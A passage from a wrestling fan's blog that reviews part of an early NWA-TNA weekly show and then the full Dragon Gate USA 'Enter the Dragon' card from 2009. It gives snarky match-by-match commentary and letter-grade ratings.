Rating: N/A. It’s like two minutes long and I’ll spare the it was too short jokes. I’ve never gotten the appeal of these matches but whatever.

Girls dance.

Ferrara and West get in the ring to announce a lingerie battle royal for next week. They bring out some of the women for next week, including Francine, Joanie (no clue who that is), Daffney (they say she used to be Daffney but now she’s Shannon), Alexis Laree (Mickie James, pre implants), Sasha (no clue but she’s ugly), a Ravens cheerleader named Erin, Elektra from ECW, Taylor Vaughn (who is apparently familiar but I don’t know her) and some chick named Tarita.

This is just an eye candy segment but not a very good one. Mickie looks WAY different, to the point where I had trouble picking her out of a line. Francine and Elektra argue and it’s apparent why they never talked. They actually blame Francine for ECW going bankrupt. A guy would wind up winning the battle royal.

There’s a guy named Mortimer Plumtree. I can’t make this up. He’s a teacher apparently, just not a very good one. He would actually wind up managing AJ for awhile. He has a tag team that we don’t see. Oh wait it’s the Johnsons.

Johnsons vs. Psicosis/James Storm

Yes, it’s the tag team that wear masks and full body suits and look like human phalluses. This team actually exists. Storm looks completely different too and it’s not a good thing either. Storm fires off some cap guns. Good for him. OH MAN he looks young. Apparently their names are Richard and Rod, or Dick and Rod. I hate this already. Ryan Shamrock comes out looking hot to watch them.

And now it devolves into nothing but the expected jokes. They say Psicosis’ real name for absolutely no apparent reason. Ryan Shamrock, called Alicia, still is there. Storm hits a rana and a very good one at that. They say Storm could be great. Not really but he’s not bad. And then he gets pinned off a bad TKO.

Rating: D+. This was just pointless. It’s like they have nothing but the main event and they know it. This was just freaking awful. The jokes were completely pointless and annoying. I have no clue what they were going for here but whatever.

The referee gives Ryan Shamrock money.

The Dupps, a hillbilly team, torment Goldilocks. They and some chick try to drink beer but some random guy says not to. Ok then.

Two NASCAR guys are here for the sake of being NASCAR guys. Ron Killings (R-Truth) show up to interrupt them. Of course he’s a heel because he hates NASCAR and says it’s not a sport. Brian Christopher of all people shows up and beats up R-Truth. Naturally a match is set up for next week. Oh and his name is K-Krush here. Dang they got that one right eventually.

Jeff Jarrett harasses a 71 year old man. Thanks for killing another 15 seconds.

Christian York/Joey Matthews vs. The Dupps

The Dupps are named Stan and Bo. Stan Dupp. Oh dear. Their cousin is both of their girlfriends. I hate this gimmick already. The faces are your standard face cruiserweight tag team. They have a ton of charisma if nothing else, but they’re just generic. Ferrara needs to fall in a hole. After the faces dominate for about two minutes the girl interferes to crotch York for the pin.

Rating: F-. This was a waste of 4 minutes of my life. The heels had NO offense but they win on a fluke anyway. That’s just crap but of course it’s what they went with here. I hated this and they could have used it for ANYTHING else.

Toby Keith has one of his music videos played and then sings live. That’s completely pointless again but it’s considered an epic moment. Jarrett interrupts him and we start the battle royal now.

NWA World Title: Gauntlet for the Gold

Royal Rumble with 90 second clocks and then a singles match at the end. Jarrett is first and second is Buff Bagwell. Bagwell hits the Blockbuster and then is thrown out. Before the 90 seconds are up they have the next guy come in to avoid the clock just ticking away. I like that. Lash Leroux of all people is second. Just end this now. He’s out in about 45 seconds and Norman Smiley is 4th of 20.

There goes Norman after about a minute. This is just pointless. Apollo, a Puerto Rican wrestler with a great look is 5th. K-Krush is 6th and he saves Jarrett. Actually he doesn’t but the announcers say he does. This is just mindless stuff as nothing of note is happening and it’s just random stuff to fill in time, which is how you could describe the whole show to be fair. Oh hey let’s make fun of Toby Keith even more.

Tenay is TICKED that the heels are working together for no apparent reason. Slash, with James Mitchell who has a stable that we haven’t heard from until now, is 7th. He’s one half of PG-13 who was a big deal in Memphis and nowhere else. Jarrett saves him for no apparent reason. Must be a Tennessee thing. Del Rios who is another big guy is next. He’s a former USWA (Memphis) champion. He’s a Scott Steiner lookalike and they even point that out.

He’s better known as Phantasio, which is a guy that Monkey is a mark for. He was a wrestling magician of all things which somehow evolved into Papa Shango but was given to the guy that played him instead. Oh come on he’s even got the Superman S on his tights. Some guy from NWA Wildside, a former WCW farm territory, is 9th. The clock is off the screen now and the times are getting longer. Konnan is 10th.

Every guy has their resume read with as many WCW, WWF and ECW references as we can get in there. He beats up everyone and is over as free beer in a frat house. We really need some eliminations. Joel Gertner who has lost about 100lbs brings out Bruce from a team called the Rainbow Express. Yes it’s a gay tag team and Billy and Chuck are a big deal at the moment. No coincidence there at all.

He’s Kwee Wee from WCW if you’re wondering. He’s the guy that wins the battle royal next week. MAYBE 15 seconds later, Rick Steiner comes out. Slash is out. There goes Justice who looks like a combination of Rhyno and one of the Pitbulls and now Rick goes after Jarrett. Malice (The Wall from WCW) is 13th. He chokeslams everyone in sight. Ok with Konnan it’s more like a chokeshove.

Truth makes up for it though by going WAY into the air. There goes Bruce, Truth, Del Rios, Konnan and Steiner are gone, leaving us with Malice, Apollo and Jarrett. Scott Hall is 14th to a huge pop and they actually give him a resume too, like he needs it. He’s the Outlaw now for no apparent reason. Hall hits a Razor’s Edge on Jarrett and here’s Toby Keith to suplex Jarrett and throw him out.

Oh how I hate singers trying to be wrestlers and failing so badly at getting people to care. Hall actually throws Jarrett out to make it count for the ridiculous NWA. Chris Harris is 15th and no one cares as no one knows who he is. Vampire Warrior (Gangrel) runs out early and beats up Harris. Ferrara will not shut up about Jarrett and I’m sick of him in ways I didn’t think were humanly possible.

Devon Storm, more commonly known as Crowbar from WCW, is next. The second biggest star in this match is Gangrel. That says the whole thing. Steve Cornio is 18th as I can’t believe this made it 5 weeks. Ken Shamrock is the penultimate entrant and he suplexes a lot of people. Brian Christopher, who should give his father 20% of every dollar he ever makes in wrestling because he never would have made a dime otherwise. A ton of people go out in succession and all by Christopher. Yes, they had him be a force.

The final five are Shamrock who is almost unrecognizable, Christopher (out before I finish his name), Malice, Apollo and Hall. Malice puts out everyone not named Shamrock, so it’s Ken Shamrock vs. the Wall for the world title. You read that right. This is just garbage as he survives the ankle lock for about 40 seconds before walking around just fine. A belly to belly ends a five minute nightmare.

Rating: F+. This was just a trainwreck. We had Brian Christopher, Gangrel, Lash Leroux and Norman Smiley in the main event. Let that sink in for a bit. Also, Shamrock beats the Wall for the title. Why not Hall, who people at least know? This was just a mess, much like the whole show. I have no idea what the point here was but it was bad. This was ¼ of the show, and that’s just unacceptable. The booking was off the wall as SHAMROCK, who hadn’t been seen in about two years and looked awful, gets the belt.

Jackie Fargo, who looks and sounds older than his 71, wants to fight Jarrett who wants to fight Toby Keith but Scott Hall fights Jarrett next week. They brawl to end this mess.

Overall Rating: D-. And that’s being generous. This was awful on all levels as nothing of note happens with the main event was just a trainwreck. When the three biggest names you have all say the main event is stupid, it hurts things badly. There is zero flow to this and if I didn’t know better, I would have bet on this not making it three months.

They changed things up a lot and it got a ton better, namely when Russo and a ton of other guys showed up to replace guys like the Dupps and the jokes in the main event. Definitely stay away from this one as it’s awful.




Dragon Gate USA – Enter the Dragon

Sorry for not having anything up yesterday as I fell asleep watching football.  Here you are.

Enter the Dragon
Date: September 4, 2009
Location: The Arena, Philadelphia, Pennsylvania
Commentators: Lenny Leonard, Chikarason, Mike Quackenbush

Ok, so a lot of you likely don’t know what this is. In short, this is my latest attempt to shut X up. He’s raved about this Dragon Gate USA company for months now and it’s been the hottest thing on the indy scene for like 8 months or something so I figured I’d pop in the first PPV and see if it’s worth anything. I should note that I have no idea who most of these people are so don’t expect an incredibly in depth analysis. Also it’s less than two hours long so I can’t review much since there isn’t much to review. Let’s get to this.

Dawn Marie is the hostess/ring announcer. Well at least it’s nice to look at. We go straight to the first match.

BxB Hulk vs. YAMATO

Now Hulk is the main guy from this promotion it seems as he won the title at the next PPV. He has thunder sticks and fairly hot dancing girls. Ok then. Apparently the x is silent or something. Makes no sense but whatever. The production values are pretty good actually which is a nice surprise. Yamato (Not doing the stupid capitalization thing. It’s pronounced the same) looks pretty clearly to be the heel here.

Nice technical sequence to start us out which is nice. The whole lack of lights does little to give me confidence in the attendance, but for a debut show I can understand that. This is definitely a smart promotion as they list off a ton of Japanese stables that we’re just expected to recognize. Yamato goes for the leg so maybe that’ll gives us something in the area of psychology. Hey let’s brawl on the floor a bit. No one has ever seen that before!

Hulk gets caught in a leg lock and the BB HULK chants are rapidly getting annoying. So he can’t run across the ring on his bad leg but he can do all kinds of kicks and flips. Got it. Yeah all the knee work is just gone now with no apparent question about it. In a nice cover, Yamato hooks the legs so that after the kickout he can go straight to a cloverleaf. And now he TICKS ME OFF by using a crossface because it’s his finisher.

Pay no attention to the total lack of back or neck work. It’s his finisher so instead of using all the leg stuff, let’s go for the finisher that isn’t softened up at all. That my friends is what gets on my nerves about a lack of psychology. If he’s going to use the crossface that’s fine but WHY WORK ON THE LEG IF YOU’RE GOING FOR A NECK SUBMISSION? Oh and his leg is fine all of a sudden again.

EVO, which is an Emerald Flosion, gets a 4 or so as this referee has a weird style of counting. His foot was on the rope though so it’s not like it matters. A big flip splash misses but it would have missed by AT LEAST five feet. He was in the corner and the splash landed in the middle of the ring. That looked awful. Plus Jimmy Wang can do a much better looking one of those.

Hulk gets a big spin kick to the back of his head. Naturally Yamato just shakes it off and puts on a sleeper. The lack of selling is getting old. A reverse sitout piledriver (How Owen broke Austin’s neck) with a different kind of lift gets the pin for Yamato.

Rating: D+. This was a spotfest and not a very good one. Was it exciting? Yes it was. Was it back and forth? Yes it was. Did it make much sense? Nope. Was it overrated as hel;? Yes it was.

We go to the back to see one of the main event guys. We get some mini bios on the two guys. THIS is what is needed here. This is the debut PPV. We more than likely don’t know who most of these people are, so short bios of who they are and their history is NICE. Short version: Naruki Doi is a young kid that has taken the company by storm and Shingo is the top star over there.

Doi took Shingo’s title and tonight is a non-title rematch for respect more or less. FINE. That right there is all I need. I know their names, I know a little bit about each guy, and I know why these two are fighting and why they’re in the main event. WHY IS THIS SO COMPLICATED???

2 Cold Scorpio and Ken Doane had a dark match at this point. Yes, the Kenny Dykstra that so many people want back in WWF is in a dark match at the debut of an indy PPV. That’s just amusing.

Soldier Ant/Fire Ant/Mike Quackenbush/Jigsaw vs. Icarus/Gran Akuma/Amasis/Hallowicked

This is all CHIKARA here which is a promotion that appeals to me as it’s so over the top and insane that it stops trying to be real wrestling which makes it awesome. I have no idea who most of these people are, so I’m really not going to try to keep track of who is who. I know the main storyline in CHIKARA that came after this and it involves mind control with a mystical object so there you are.

Quackenbush is more or less God in that company so he’ll be the focus of the match. I kind of like Dawn Marie’s style. She just says the names. Simple yet effective I suppose. This is the home promotion for this arena so these guys are very familiar. All four of the faces, the first team listed, get chants. For example, two of these people are insects and one of the heels dances a lot.

Mike trained all of them so that’s fun. CHIKARA seems like a show that is pure fun. Looks like lucha rules as when you hit the floor your partner can come in. This is more acrobatic stuff, meaning not a lot of actual pain but rather high spots. Or as Lawler called it, psychological damage. Scratch that as Soldier Ant takes a massive powerbomb. That works. Soldier Ant is taking a freaking beating.

Mike gets the hot tag and we crank it up a bit. Jigsaw and Icarus do some solid stuff which is nice looking indeed. In the words of a wrestler more famous than all 8 of these guys, this is the part where we crank it up, let’s crank it up. High spots a go-go begins and the fans are way into it all of a sudden. After about a dozen near falls (likely too few), the faces just go insane with dives and flips before Jigsaw hits the same kind of piledriver that Kazarian uses to get the pin. He calls it the Jig and Tonic. Clever.

Rating: B+. This wasn’t technically sound, it wasn’t coherent, it wasn’t logical. What it was though was FUN. What you had here was 8 guys just going out there and having a blast. They weren’t trying to have a traditional match, they weren’t trying to be the best wrestlers in the world or have some big deep storyline. They were having fun and giving the crowd something to cheer for. THIS is what TNA needs if it wants to be competitive. Not everything has to be so serious and of epic proportions. I’d watch this again.

Quackenbush gets on the mic and says that CHIKARA and DGUSA works really well together, but we should really thank Jorge Rivera, who trained everyone here tonight. Cool. He issues an open challenge: anyone from Dragon Gate vs. any guy from CHIKARA. Again, this is something that there needs to be more of.

Yamato, the guy from earlier comes out. He says something in Japanese (apparently more or less saying screw Rivera, it’s our time) and kicks Mike low. Jigsaw and Akuma make the save but Akuma helps Yamato and it’s a big beat down. Faces come out to make the save. Naturally there was a tag match at the next PPV.

Dragon Kid vs. Masato Yoshino

Ok then. Yoshino is popular. Very popular actually. Both have people with them. Ok then. Oh the guy with Dragon Kid is Shingo. Got it. Apparently this is a big rivalry and has been for a few years. Dragon Kid is on a three match losing streak and broke Yoshino’s neck in the last match. See what a little exposition gives you? That information took 8 seconds to say and I’m perfectly satisfied with it.

Oh and the other guy in the corner is Shingo’s opponent tonight. This is another fast paced one. If nothing else I like that they don’t try to make things about themselves as they regularly use common names for moves such as the 619. Everyone else is going to call it that so why over complicate things? Apparently these are the two most exciting guys in Dragon Gate. Good to know. Let them prove it. Yoshino goes for Kid’s arm. Better than the leg if nothing else. Kid hits a 619.

Remember kids: this is NEVER BEFORE SEEN STUFF. It’s so never before seen we already have names for the stuff! Apparently Dragon Kid has a move called Jesus. Nothing tricky there or anything. It’s just called Jesus. That’s either very stupid or awesome and I’m not sure which.

The difference here with the first match though is that while we had arm work earlier, Dragon Kid is having trouble with his offense because HIS ARM HURTS. See? Is that too much to ask for? Seriously? They hit a ton of high spots and we get an arm bar. I think it was on Dragon Kid but I’m not sure. Kid hits an Ultra Hurricanrana (West Coast Pop with a front flip) for the pin. Yeah he used a 619 and a modified West Coast Pop for the pin. Yeah he’s really innovative.

Rating: B-. Not bad but not the classic they tried to make it seem like. It’s far better than the first match if nothing else. If nothing else the arm injury stayed around this time which is one of my biggest issues with most wrestling, either indy or mainstream. This was fine for what it was though.

Young Bucks vs. CIMA/Susumu Yokosuka

Heard of CIMA, not so much on the other guy. Young Bucks are more commonly known as Generation ME in TNA. CIMA gets in a fight with some streamers. That’s rather amusing. Four faces here it seems. Quackenbush is on commentary now. THANKFULLY Quackenbush says it’s not about him and it’s about the four guys in the ring. Wow that’s nice to hear. The Bucks go insane with tags. They’re just fun to watch.

The non-Americans are in control at the moment. Matt gets the heck beaten out of him for a good while. He tries to Hulk Up but gets kicked down. That was nice. They bust out some of the stuff you would see Generation ME do at Destination X. Nice to see them adapt it. After a few tons of near falls, More Bang For Your Buck (450 followed immediately by a moonsault) ends it.

Rating: B+. Another match that was just about getting people excited. There’s no flow or structure to it and there wasn’t supposed to be. There were some great double team moves in there. It’s very entertaining. It’s not great wrestling at all, but it’s great entertainment which is what this was supposed to be so I’ll give it that.

We go to the main event guys’ dressing rooms. The title isn’t on the line. Is there a reason that it’s not?

Naruki Doi vs. Shingo

I still don’t get the whole lack of title on the line here, but I’m sure it has something to do with some overly complicated system of earning a title shot and tradition or something like that. Shingo is strong. Good to know. Long feeling out process which is fine as they have a lot of time to play with. I like Shingo to an extent I think.

Doi works over the knee and we get a Figure Four. In a nice move after getting out of the hold he grabs a fast powerbomb and immediately falls with his knee. It was fast enough to buy I guess, but it was a bit shaky as far as psychology goes. They chop the living heck out of each other and they might be the loudest sequence of them I’ve ever heard. Great ones indeed. Shingo shakes his leg a bit to sell the injury. Nicely done.

In a cool moment, he hooks a British Bulldog suplex and the fans count the seconds he holds him for, which winds up at 30. According to Mike, the chops that are quiet that hurt worst. Why should I listen to that? Because Quackenbush is a wrestler. Lawler and Taz need to let us know that more often. We’re into the segment of let’s do big moves over and over again until we get to a pin.

Shingo kills him with a lariat but it just gets two. Doi hits his finisher, a running boot to the face when the guy is on one knee. It’s better than it sounds. Another one sets up a Tiger Suplex for two. Shingo starts no selling kicks to the FACE. How is that possible? The Muscular Bomb, which is like a wheelbarrow slam into a rollup where the guy lands on his head, ends this. Solid ending. Oh Doi got the win. Might be important information.

Rating: B. This was a different kind of match but it worked all the same. There was far more of a slow build here and that made things work much better for me. The ending was great with Doi just beating the heck out of Shingo until he finally went down. Solid match, although I have no clue why it was non-title if Doi was going to win.

Overall Rating
: B. First match aside, this was fun. See what happens when you explain what’s going on in Puro to fans like me? It gets a lot better. Now this isn’t something I’d want to see weekly, but once in awhile would be fine. This came off pretty well I think though and they did a good job of introducing things to the audience. I liked it and it could work well for an every other month thing. Not bad at all.